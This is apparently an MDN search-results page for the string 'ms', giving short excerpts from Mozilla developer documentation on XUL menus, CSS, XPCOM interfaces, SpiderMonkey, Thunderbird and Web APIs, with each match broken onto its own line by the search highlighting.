...the following is a somewhat simplified snippet from xquseme: var reflect = java.lang.reflect; // build an array of the class types which are expected by our constructor (in this case, java.io.file and a class from another jar we loaded, com.sleepycat.db.environmentconfig) var paramtypes = reflect.array.newinstance(java.lang.class, 2); // 2nd argument should indicate the number of ite
ms in following array paramtypes[0] = java.io.file; var envconfigclass = loader.loadclass('com.sleepycat.db.environmentconfig'); paramtypes[1] = envconfigclass; // get the constructor var constructor = envclass.getconstructor(paramtypes); // now that we have the constructor with the right parameter types, we can build the specific arguments we wish to pass to it var arglist = reflect.array.newinstan...
...ce(java.lang.object, 2); // 2nd argument should indicate the number of ite
ms in the following array var mydir = new java.io.file(dirurl); // a file url arglist[0] = mydir; var envconfig = envconfigclass.newinstance(); arglist[1] = envconfig; // call our constructor with our arguments var env = constructor.newinstance(arglist); be aware that liveconnect, while now actively supported by sun has only recently been reimplemented for use in mozilla, so there may still be some bugs (though many prior liveconnect bugs, such as try-catch not catching java exceptions, the failure of auto-converting javascript arrays properly, etc., have now been fixed).
...And 4 more matches
More Menu Features - Archive of obsolete content
we've looked at placing menuite
ms and menuseparators in menupopups.
... our find files example so far : source view adding checkmarks to menus many applications have menu ite
ms that have checks on them.
...you may also want to create radio buttons on menu ite
ms.
...And 4 more matches
Simple Menu Bars - Archive of obsolete content
the ite
ms on the menus can be customized quite easily.
... you can customize the menus on the menubar to have whatever you want on them on all platfor
ms except the macintosh.
...the commands the
mselves are created using the menuitem element.
...And 4 more matches
Using the W3C DOM - Archive of obsolete content
« previousnext » the document object has properties for accessing collections of elements, such as document.images and document.for
ms.
...ocument object properties are not supported in the w3c document object model: document.layers[] id_attribute_value document.all document.all.id_attribute_value document.all[id_attribute_value] the following form related properties (originally from internet explorer) are not supported in the w3c document object model: formname.inputname.value inputname.value formctrlname document.for
ms(0) (note: document.for
ms[0] (using square brackets) uses the dom standard for
ms collection) scripts that use these properties will throw errors in most standards-compliant browsers.
...these are supported by internet explorer too so there is no need to use
msie-specific attributes and methods.
...And 4 more matches
RDF in Mozilla FAQ - Archive of obsolete content
if you have proble
ms with the dmoz and chefmoz data, it's best to contact those projects directly.
...the following code illustrates its usage: // this is the object that will observe the rdf/xml load's progress var observer = { onbeginload: function(asink) {}, oninterrupt: function(asink) {}, onresume: function(asink) {}, onendload: function(asink) { asink.removexmlsinkobserver(this); alert("done!"); }, onerror: function(asink, astatus, aerror
msg) { alert("error!
... " + aerror
msg); } }; // get the rdf service var rdf = components .classes["@mozilla.org/rdf/rdf-service;1"] .getservice(components.interfaces.nsirdfservice); // get the datasource.
...And 4 more matches
Debugging CSS - Learn web development
how to access browser devtools the article what are browser developer tools is an up-to-date guide explaining how to access the tools in various browsers and platfor
ms.
... debugging proble
ms in css devtools can be a great help when solving css proble
ms, so when you find yourself in a situation where css isn't behaving as you expect, how should you go about solving it?
... take a step back from the problem any coding problem can be frustrating, especially css proble
ms because you often don't get an error message to search for online to help with finding a solution.
...And 4 more matches
Organizing your CSS - Learn web development
} after this section we could define a few utility classes, for example a class that removes the default list style for lists we're going to display as flex ite
ms or in some other way.
... for example, we might have an online store as part of the site, with a lot of css used only for styling the product listings and for
ms needed for the store.
... however, you do gain a lot of structure by adopting one and, as many of these syste
ms are very widely used, other developers are more likely to understand the approach you are using and be able to write their css in the same way, rather than having to work out your own personal methodology from scratch.
...And 4 more matches
Attribute selectors - Learn web development
this matches all of the list ite
ms except the first one.
...it selects the second and third list ite
ms.
... (aside: it may help to note that ^ and $ have long been used as anchors in so-called regular expressions to mean begins with and ends with.) the next example shows usage of these selectors: li[class^="a"] matches any attribute value which starts with a, so matches the first two list ite
ms.
...And 4 more matches
Debugging HTML - Learn web development
objective: learn the basics of using debugging tools to find proble
ms in html.
...however, error messages can quickly get more complicated and less easy to interpret as progra
ms get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about rust.
...<strong>strong <em>strong emphasised?</strong> what is this?</em> <li>unclosed attributes: another common source of html proble
ms.
...And 4 more matches
Responsive images - Learn web development
you might think that vector images would solve these proble
ms, and they do to a certain degree — they are small in file size and scale well, and you should use them wherever possible.
...responsive image technologies were implemented recently to solve the proble
ms indicated above by letting you offer the browser several image files, either all showing the same thing but containing different numbers of pixels (resolution switching), or different images suitable for different space allocations (art direction).
... in this section, we'll look at the two proble
ms illustrated above and show how to solve them using html's responsive image features.
...And 4 more matches
Introduction to events - Learn web development
in this section, we review the various mechanis
ms and discuss which ones you should use.
...note: it is perfectly appropriate to put all the code inside the addeventlistener() function, in an anonymous function, like this: btn.addeventlistener('click', function() { var rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundcolor = rndcol; }); this mechanism has some advantages over the older mechanis
ms discussed earlier.
...for example, this would remove the listener set in the first code block in this section: btn.removeeventlistener('click', bgchange); this isn't significant for simple, small progra
ms, but for larger, more complex progra
ms it can improve efficiency to clean up old unused event handlers.
...And 4 more matches
Looping code - Learn web development
previous overview: building blocks next programming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar ite
ms of work to complete.
... inside the parentheses we have three ite
ms, separated by semi-colons: an initializer — this is usually a variable set to a number, which is incremented to count the number of times the loop has run.
... this shows a loop is used to iterate over the ite
ms in an array and do something with each of them — a very common pattern in javascript.
...And 4 more matches
What is JavaScript? - Learn web development
apis are ready-made sets of code building blocks that allow a developer to implement progra
ms that would otherwise be hard or impossible to implement.
... browser security each browser tab has its own separate bucket for running code in (these buckets are called "execution environments" in technical ter
ms) — this means that in most cases the code in each tab is run completely separately, and the code in one tab cannot directly affect the code in another tab — or on another website.
... interpreted versus compiled code you might hear the ter
ms interpreted and compiled in the context of programming.
...And 4 more matches
Perceived performance - Learn web development
previous overview: performance next perceived performance is how fast a website see
ms to the user.
... first paint is reported by the browser and provides the time, in
ms, of when the page starts changing; but this change can be a simple background color update or something even less noticable.
...users feel that something is laggy when they take more than 50
ms to react.
...And 4 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
objective: learn some advanced svelte techniques involving solving reactivity issues, keyboard accessibility proble
ms to do with component lifecycle, and more.
... todosstatus: displays the "x out of y ite
ms completed" status heading.
...obj.foo += 1 or array[i] = x — work the same way as assignments to the values the
mselves.
...And 4 more matches
Introduction to automated testing - Learn web development
automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in ter
ms of what browsers to test, accessibility considerations, and more.
...in this article, we'll look at how to set up a task runner, and use the basic functionality of commercial syste
ms like the ones mentioned above.
... note: there are other commercial browser testing syste
ms available but in this article, we'll focus on lambdatest, sauce labs, and browserstack.
...And 4 more matches
Setting up your own test automation environment - Learn web development
see platfor
ms supported by selenium for more information on where to get browser drivers from, etc.
... note: if you want to find out how to use webdriver with other server-side environments, also check out platfor
ms supported by selenium for some useful links.
...we are going to choose selenium's official selenium-webdriver, as the documentation see
ms fairly up-to-date and it is well-maintained.
...And 4 more matches
Cross browser testing - Learn web development
what users, browsers, and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix proble
ms, and how to use automation to speed up testing.
... guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of proble
ms you'll encounter?", and "what are the main approaches for testing, identifying, and fixing proble
ms?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... handling common html and css proble
ms with the scene set, we'll now look specifically at the common cross-browser proble
ms you will come across in html and css code, and what tools can be used to prevent proble
ms from happening, or fix proble
ms that occur.
...And 4 more matches
Deploying our app - Learn web development
post development there's potentially a large range of proble
ms to be solved in this section of the project's lifecycle.
... as such, it's important to create a toolchain that handles these proble
ms in a way that requires as little manual intervention as possible.
... the above tasks also break down into further tasks; note that most web development tea
ms will have their own ter
ms and processes for at least some part of the post-development phase.
...And 4 more matches
Simple Thunderbird build
06/2009 17:02 2,743 mapioid.h 02/06/2009 17:02 32,978 mapispi.h 02/06/2009 17:02 54,395 mapitags.h 02/06/2009 17:02 26,467 mapiutil.h 02/06/2009 17:02 97,301 mapival.h 02/06/2009 17:02 9,334 mapiwin.h 02/06/2009 17:02 1,906 mapiwz.h 02/06/2009 17:02 18,277 mapix.h 02/06/2009 17:02 5,012
mspst.h get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings").
... note: parts of the build process also have proble
ms when the source code is in a directory where the path is long (nested many levels deep).
... on linux, this can manifest as proble
ms setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission proble
ms, but because the paths being accessed have been truncated, and so do not exist).
...And 4 more matches
The Firefox codebase: CSS Guidelines
writing cross-platform css firefox supports many different platfor
ms and each of those platfor
ms can contain many different configurations: windows 7, 8 and 10 default theme aero basic (windows 7, 8) windows classic (windows 7) high contrast (all versions) linux macos file structure the browser/ directory contains styles specific to firefox the toolkit/ directory contains styles that are shared across all toolkit applications (thunde...
...rbird and seamonkey) under each of those two directories, there is a themes directory containing 4 sub-directories: shared linux osx windows the shared directories contain styles shared across all 3 platfor
ms, while the other 3 directories contain styles respective to their platform.
...theme css the following directories also contain css: browser/base/content/ toolkit/content/ these directories contain content css, that applies on all platfor
ms, which is styling deemed to be essential for the browser to behave correctly.
...And 4 more matches
Embedding the editor
introduction this document describes the current state of editor embeddability, proble
ms with the existing implementation, some possible embedding scenarios that we need to deal with, and an embedding solution that will fulfill them.
...current proble
ms the current composer architecture was created while other parts of mozilla were still under development, and as a result it suffers from a number of shortcomings, and anachronis
ms.
...embedding objectives editor requires design changes such that the embedding applications above can be fulfilled, and these changes will need to address the current proble
ms.
...And 4 more matches
Getting Started with Chat
general rules and etiquette once you have your client set up (see software below) and are connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla foru
ms and events, agreeing to our community participation guidelines is a requirement for participation.
... /
msg nick message sends a private message to the specified user /nick nickname change your current nickname nickname: ping get a user's attention (nickname is the name of the user you want the attention of) nickname: pong respond to a user's ping (nickname is the name of the user who wants your attention) /query nickname opens a private chat with the...
...nickserv also automatically elevates all registered users to operators when they sign on.the following are some helpful commands which can be used by nickserv: /
msg nickserv register password email this registers your nickname with the server.
...And 4 more matches
JNI.jsm
if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jv
ms), etc.
... } finally { if (my_jenv) { jni.unloadclasses(my_jenv); } } casting this example shows how to cast, the casting happens at jni.classes.android.view.windowmanager.__cast__(wm) below: function main() { var my_jenv; try { my_jenv = jni.getforthread(); var sig = { windowmanager: 'landroid/view/windowmanager;', windowmanager_layoutpara
ms: 'landroid/view/windowmanager$layoutpara
ms;', viewgroup_layoutpara
ms: 'landroid/view/viewgroup$layoutpara
ms;', view: 'landroid/view/view;', void: 'v', context: 'landroid/content/context;', string: 'ljava/lang/string;', object: 'ljava/lang/object;', geckoappshell: 'lorg/mozilla/gecko/geckoappshell;' }; ...
...ameofclass(sig.geckoappshell), { static_methods: [ { name: 'getcontext', sig: '()' + sig.context }] }); var context = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.context), { methods: [ { /* http://developer.android.com/reference/android/content/context.html#getsyste
mservice%28java.lang.class%3ct%3e%29 * public abstract object getsyste
mservice (string name) */ name: 'getsyste
mservice', sig: genmethodsig([ sig.string // name ], sig.object // return ) }], static_fields: [ { ...
...And 4 more matches
Creating localizable web applications
avoid using it in a subdomain, as it can cause proble
ms with certificates (this is wrong: http://en-us.example.com/foo/bar).
...for instance, don't put uris into
msgid's.
... if you do, if the static uri changes, you'll have to regenerate the *.po files to include the new
msgids.
...And 4 more matches
Mozilla Web Developer FAQ
in the standards mode gecko ai
ms to treat documents authored in compliance with the applicable web format specifications.
...(likewise, there is no upper bound for the number of ways different features of the standards the
mselves can be combined, which makes software quality assurance challenging.) also, the ways in which browser x reacts to some standards-incompliant input are not all intentional.
...on the other hand, mozilla’s quirks mode already accommodates common non-standardis
ms that are due to the behaviors of common legacy browsers.
...And 4 more matches
Activity Monitor, Battery Status Menu and top
it is well-known and its "energy impact" measure is likely to be consulted by users to compare the power consumption of different progra
ms.
... (apple support documentation specifically recommends it for troubleshooting battery life proble
ms.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided.
...if you have top open during those 5–10 seconds you'll see that syste
mstats is running and using a lot of cpu, and so presumably the measurements are obtained from it.
...And 4 more matches
Power profiling overview
intel processors have model-specific registers (
msrs) containing measurements of how much time is spent in different c-states, and tools such as powermetrics (mac), powertop and turbostat (linux) can expose this information.
...these are global (whole-system) measurements that are affected by running progra
ms but also by other things such as (for laptops) how bright the monitor backlight is.
... power estimates the next best measurements come from recent (sandy bridge and later) intel processors that implement the rapl (running average power limit) interface that provides
msrs containing energy consumption estimates for up to four power planes or domains of a machine, as seen in the diagram above.
...And 4 more matches
Named Shared Memory
the nspr shared memory api provides a cross-platform named shared-memory interface that is modeled on similar constructs in the unix and windows operating syste
ms.
...some platfor
ms may mangle the name before creating the file and the shared memory.
... limits on shared memory resources different platfor
ms have limits on both the number and size of shared memory resources.
...And 4 more matches
Running NSPR tests
by default, we don't build the test progra
ms.
...to build the test progra
ms, you need to change directory to mozilla/nsprpub/pr/tests and run gmake.
...it doesn't necessarily mean the test suite failed because some of the test progra
ms are known to fail.
...And 4 more matches
SpiderMonkey 1.8.5
—22 march 2011 platform support spidermonkey 1.8.5 is supported on all the platfor
ms where firefox 4 runs.
...on other platfor
ms, the jit is simply disabled; javascript code runs in an interpreter, as in previous versions.
... multithreaded js progra
ms that race against the same objects are now explicitly not supported.
...And 4 more matches
SpiderMonkey 24
get it here mozilla-esr24 if the download url is outdate you will find it in "firefox extended support release 24" package on hg release platform support spidermonkey 24 is supported on all the platfor
ms where firefox 24 runs.
... (this change was motivated by garbage collector improvements, which lean quite heavily on c++'s support for raii through constructors and destructors.) if you are compiling with microsoft's visual studio, note that the minimum supported version is
msvc10/2010:
msvc8/9 support has been dropped.
...on some other platfor
ms (sparc, mips), the jit is provided but not supported.
...And 4 more matches
SpiderMonkey 45
— apr 14, 2016 platform support spidermonkey 45 is supported on all platfor
ms able to run firefox 45.
... if you are compiling with microsoft's visual studio, note the minimum supported version is
msvc 2013.
...on several other platfor
ms (sparc, mips), the jit is provided but not supported.
...And 4 more matches
Gecko Roles
used by
msaa only, this is supported automatically by microsoft windows.
... role_menubar represents the menu bar (positioned beneath the title bar of a window on most platfor
ms or at the top of the screen on mac os x) from which menus are selected by the user.
...users can navigate between panes and within the contents of the current pane, but cannot navigate between ite
ms in different panes.
...And 4 more matches
Implementation Details
supported features interfaces refer to specific pages to get information of supported interfaces for interested at api: core: gecko interfaces windows:
msaa, ia2, ienumvariant and isimpledom* interfaces linux: at-spi roles refer to specific pages to get information of supported roles for interested at api: gecko
msaa ia2 at-spi states refer to specific pages to get information of supported states for interested at api: gecko
msaa ia2 at-spi relations refer to specific pages to get information of supported relations for interested at api: gecko
msaa ia2 at-spi attributes object attributes refer to specific pages to get information of supported object attributes for interested at api: gecko
msaa ia2 at-spi text a...
...ttributes refer to specific pages to get information of supported text attributes for interested at api: gecko
msaa - doesn't have a way to expose text attributes, use ia2 ia2 at-spi document attributes refer to specific pages to get information of supported document attributes for interested at api: gecko/
msaa/ia2 - document attributes are not exposed.
...at-spi events refer to specific pages to get information of supported events for interested at api: gecko
msaa ia2 at-spi implementation features this section highlights special features of at apis implementation by gecko.
...And 4 more matches
An Overview of XPCOM
xpcom not only supports component software development, it also provides much of the functionality that a development platform provides, such as: component management file abstraction object message passing memory management we will discuss the above ite
ms in detail in the coming chapters, but for now, it can be useful to think of xpcom as a platform for component development, in which features such as those listed above are provided.
... interfaces and programming by contract an interface for
ms a contractual agreement between components and clients.
...using a freely available public initialization method, as the example below suggests, can cause proble
ms.
...And 4 more matches
Detailed XPCOM hashtable guide
a hashtable is a data construct that stores a set of ite
ms.
...ite
ms are found, added, and removed from the hashtable by using the key.
... inserting/removing: o(n): adding and removing ite
ms from a large array can be time-consuming o(1): adding and removing ite
ms from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space.
...And 4 more matches
nsICollection
xpcom/ds/nsicollection.idlscriptable this interface represents a list of nsisupports ite
ms.
... it provides basic operations on those ite
ms like: getting, setting, appending, removing, and so on.
... clear() removes all ite
ms from the collection.
...And 4 more matches
nsIDOMEvent
method overview boolean deserialize(in constipcmessageptr a
msg, out voidptr aiter); violates the xpcom interface guidelines void duplicateprivatedata(); native code only!
... nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in do
mstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr a
msg, in boolean aserializeinterfacetype); violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only!
...due to the fact that some syste
ms may not provide this information the value of timestamp may be not available for all events.
...And 4 more matches
nsIDOMFontFace
fro
msystemfallback boolean indicates whether or not the font is the system fallback font.
... attribute type description cssfamilyname do
mstring a family name that could be used in css font-family (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on).
... name do
mstring full font name as obtained from the font resource.
...And 4 more matches
nsIDOMNode
inherits from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in do
mstring feature, in do
mstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only.
... localname do
mstring read only.
... namespaceuri do
mstring read only.
...And 4 more matches
nsILoginInfo
to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring afor
msubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description for
msubmiturl astring the origin, not url, a form-based login was submitted to.
... for logins obtained from html for
ms, this field is the action attribute from the form element, with the path removed (for example, "https://www.site.com").
... for
ms with no action attribute default to submitting to their origin url, so that is stored here.
...And 4 more matches
nsINavBookmarksService
toolkit/components/places/nsinavbookmarksservice.idlscriptable the bookmarksservice interface provides methods for managing bookmarked history ite
ms.
...this method exists because complex delete->undo operations rely on recreated folders to have the same id they had before they were deleted, so that any other ite
ms deleted in different transactions can be re-inserted correctly.
... void removeitem( in print64 folder, obsolete since gecko 1.9 in nsiuri child, obsolete since gecko 1.9 in long long aitemid ); parameters folder obsolete since gecko 1.9 the id of the ite
ms parent folder.
...And 4 more matches
XPCOM Interface Reference by grouping
01, 2010) list of mozilla interfaces as listed on the xpcom interface reference page where that page lists ite
ms by alphabetical sorting, this page attempts to group them by function.
...idomgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformelement nsidomhtmlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsido
mstorageitem nsido
mstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsido
msimplegestureevent nsidragdroph...
...ccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice url nsiuri nsiurl util nsido
mserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidownload nsidownloadmanager nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree ...
...And 4 more matches
Storage
in javascript, there is a useful helper object (mozistoragestatementpara
ms) available () that makes binding parameters much easier: var statement = dbconn.createstatement("select * from table_name where id = :row_id"); statement.para
ms.row_id = 1234; use :boundparametername the same way for numeric and non-numeric columns.
... let stmt = dbconn.createstatement("insert into table_name (value) values(:value)"); let para
ms = stmt.newbindingpara
msarray(); for (let i = 0; i < 10; i++) { let bp = para
ms.newbindingpara
ms(); bp.bindbyname("value", i); para
ms.addpara
ms(bp); } stmt.bindparameters(para
ms); you can attach multiple sets of bindings to a statement by adding multiple mozistoragebindingpara
ms objects to the array of parameter lists, adding each one through calls to the mozistoragebindingpara
msarray.addp...
...ara
ms().
...And 4 more matches
Xptcall Porting Guide
this code needs to be ported to all platfor
ms that want to support xptcall (and thus mozilla).
... the tree mozilla/xpcom/reflect/xptcall +--public // exported headers +--src // core source | \--md // platform specific parts | +--mac // mac ppc | +--unix // all unix | \--win32 // win32 | +--test // simple tests to get started \--tests // full tests via api porters are free to create subdirectories under the base md directory for their given platfor
ms and to integrate into the build system as appropriate for their platform.
...the invoke functionality requires the implementation of the following on each platform (from xptcall/public/xptcall.h): xptc_public_api(nsresult) ns_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramcount, nsxptcvariant* para
ms); calling code is expected to supply an array of nsxptcvariant structs.
...And 4 more matches
Gloda examples
a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new ite
ms are returned by the database query or freshly indexed */ onite
msadded: function _onite
msadded(aite
ms, acollection) { }, /* called when ite
ms that are already in our collection get re-indexed */ onite
msmodified: function _onite
msmodified(aite
ms, acollection) { }, /* called when ite
ms that are in our collection are purged from the system */ onite
msremoved: function _onit...
...e
msremoved(aite
ms, acollection) { }, /* called when our database query completes */ onquerycompleted: function _onquerycompleted(conversation_coll) { try { for (var conv in conversation_coll) { //do something with the conversation here alert(conv.subject); } } catch (e) {} } } glodamessage.conversation.getmessagescollection(alistener) alternatively if you need to get a conversation based on the subject, you need to do a query (using the same listener as above).
...); let tagarray = mailservices.tags.getalltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener); search messages by daterange searches for all messages within a date range id_q=gloda.newquery(gloda.noun_message); // define a date range form yesterday to now id_q.daterange([new date() - 86400000, new date()]); var mylistener = { /* called when new ite
ms are returned by the database query or freshly indexed */ onite
msadded: function _onite
msadded(aite
ms, acollection) { }, /* called when ite
ms that are already in our collection get re-indexed */ onite
msmodified: function _onite
msmodified(aite
ms, acollection) { }, /* called when ite
ms that are in our collection are purged from the system */ onite
msremoved: function _onit...
...And 4 more matches
MailNews Filters
mailnews filters consist of a set of search ter
ms, and a set of filter actions.
... filter execution is done by evaluating the search ter
ms using the core mailnews/base/search code, and then applying the filter hits when the search ter
ms match.
... for new incoming messages, the protocol specific object that handles new messages calls nsi
msgfilterlist::applyfilterstohdr and passes itself in as nsi
msgfilterhitnotify interface to handle filter hits.
...And 4 more matches
Main Windows
msghdrviewoverlay.xul shown in blue above (where?), this overlay consists of three boxes.
... osx only: macmenuoverlay.xul a special overlay for osx that adds a few ite
ms to the window menu.
...its almost exactly the same as messenger.xul in ter
ms of overlays, but just lacks the folder and threadpanes normally shown.
...And 4 more matches
Creating a Custom Column
the nsi
msgcustomcolumnhandler interface to handle a column we need to implement the nsi
msgcustomcolumnhandler interface which defines the basic set of functionality that must be implemented to handle a column.
... nsi
msgcustomcolumnhandler extends (inherits from) nsitreeview and as such needs to implement functions from both.
... from nsitreeview: getcellproperties(row, col, props): optionally modify the props array getrowproperties(row, props): optionally modify the props array getimagesrc(row, col): return a string (or null) getcelltext(row, col): return a string representing the actual text to display in the column from nsi
msgcustomcolumnhandler: getsortstringforrow(hdr): return the string value that the column will be sorted by getsortlongforrow(hdr): return the long value that the column will be sorted by isstring(): return true / false warning!
...And 4 more matches
Using COM from js-ctypes
for communication between the different windows applications among the
mselves, microsoft has developed a series of technologies alongside the main windows api.
...h> int main(void) { if (succeeded(coinitialize(null))) { ispvoice* pvoice = null; hresult hr = cocreateinstance(clsid_spvoice, null, clsctx_all, iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } //
msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs visual studio).
...(succeeded(coinitialize(null))) { struct ispvoice* pvoice = null; hresult hr = cocreateinstance(&clsid_spvoice, null, clsctx_all, &iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice, l"hello, firefox!", 0, null); pvoice->lpvtbl->release(pvoice); } } //
msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.c, and run following command in the directory.
...And 4 more matches
Plug-in Basics - Plugins
plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology see
ms boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
...for more information about where gecko looks for plugin modules on different syste
ms, see how gecko finds plug-ins.
... understanding the plug-in api plug-ins and platform independence understanding the plug-in api a plug-in is a native code library whose source confor
ms to standard c syntax.
...And 4 more matches
BluetoothRemoteGATTDescriptor - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbluetoothremotegattdescriptor experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0characteristic experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0readvalue experimentalchrome full support 57notes full support 57notes notes macos only.
...And 4 more matches
DOMParser - Web APIs
syntax let domparser = new domparser() methods domparser.parsefro
mstring() syntax let doc = domparser.parsefro
mstring(string, mimetype) return either document or xmldocument depending on the mimetype argument.
... parameters this method has 2 parameters (both required): string the do
mstring to be parsed.
... mimetype a do
mstring.
...And 4 more matches
DataTransfer - Web APIs
it may hold one or more data ite
ms, each of one or more data types.
... datatransfer.ite
ms read only gives a datatransferitemlist object which is a list of all of the drag data.
... deprecated properties datatransfer.mozitemcount read only gives the number of ite
ms in the drag operation.
...And 4 more matches
HTMLImageElement.alt - Web APIs
syntax htmlimageelement.alt = alttext; let alttext = htmlimageelement.alt; value a do
mstring which contains the alternate text to display when the image is not loaded or for use by assistive devices.
... body { margin: 0; padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin { background-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-ite
ms: center; justify-content: center; } .left-margin img { width: 6em; } .contents { background-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2em; padding-right: 1em; } result images used as buttons when using an image as a button (by using it as the only visible child of an <a> element representing a hyperlink), the alt attrib...
... <li class="toolbar" aria-role="toolbar"> <a href="songs.html" aria-role="button"><img src="songicon.svg" alt="songs"</a> <a href="albu
ms.html" aria-role="button"><img src="albumicon.svg" alt="albu
ms"</a> <a href="artists.html" aria-role="button"><img src="artisticon.svg" alt="artists"</a> <a href="playlists.html" aria-role="button"><img src="playlisticon.svg" alt="playlists"</a> </li> images containining diagra
ms or maps when an image contains information presented as a diagram, chart, graph, or map, the alt text should pro...
...And 4 more matches
HTMLMediaElement - Web APIs
htmlmediaelement.controls is a boolean that reflects the controls html attribute, indicating whether user interface ite
ms for controlling the resource should be displayed.
... htmlmediaelement.crossorigin a do
mstring indicating the cors setting for this media element.
... htmlmediaelement.currentsrc read only returns a do
mstring with the absolute url of the chosen media resource.
...And 4 more matches
HTMLTextAreaElement - Web APIs
reportvalidity() this method reports the proble
ms with the constraints on the element, if any, to the user.
... if there are proble
ms, it fires a cancelable invalid event at the element, and returns false; if there are no proble
ms, it returns true.
... setcustomvalidity(do
mstring) sets a custom validity message for the element.
...And 4 more matches
IDBObjectStoreSync - Web APIs
method overview any add (in any value, in optional any key) raises (idbdatabaseexception); idbindexsync createindex (in do
mstring name, in do
mstring storename, in do
mstring keypath, in optional boolean unique); any get (in any key) raises (idbdatabaseexception); idbcursorsync opencursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); idbindexsync openindex (in do
mstring name) raises (idbdatabaseexception); any put (in any value, ...
...in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); void removeindex (in do
mstring indexname) raises (idbdatabaseexception); attributes attribute type description indexnames readonly do
mstringlist a list of the names of the indexes on this object store.
... keypath readonly do
mstring the key path of this object store.
...And 4 more matches
MediaMetadata - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmediametadata experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... sa
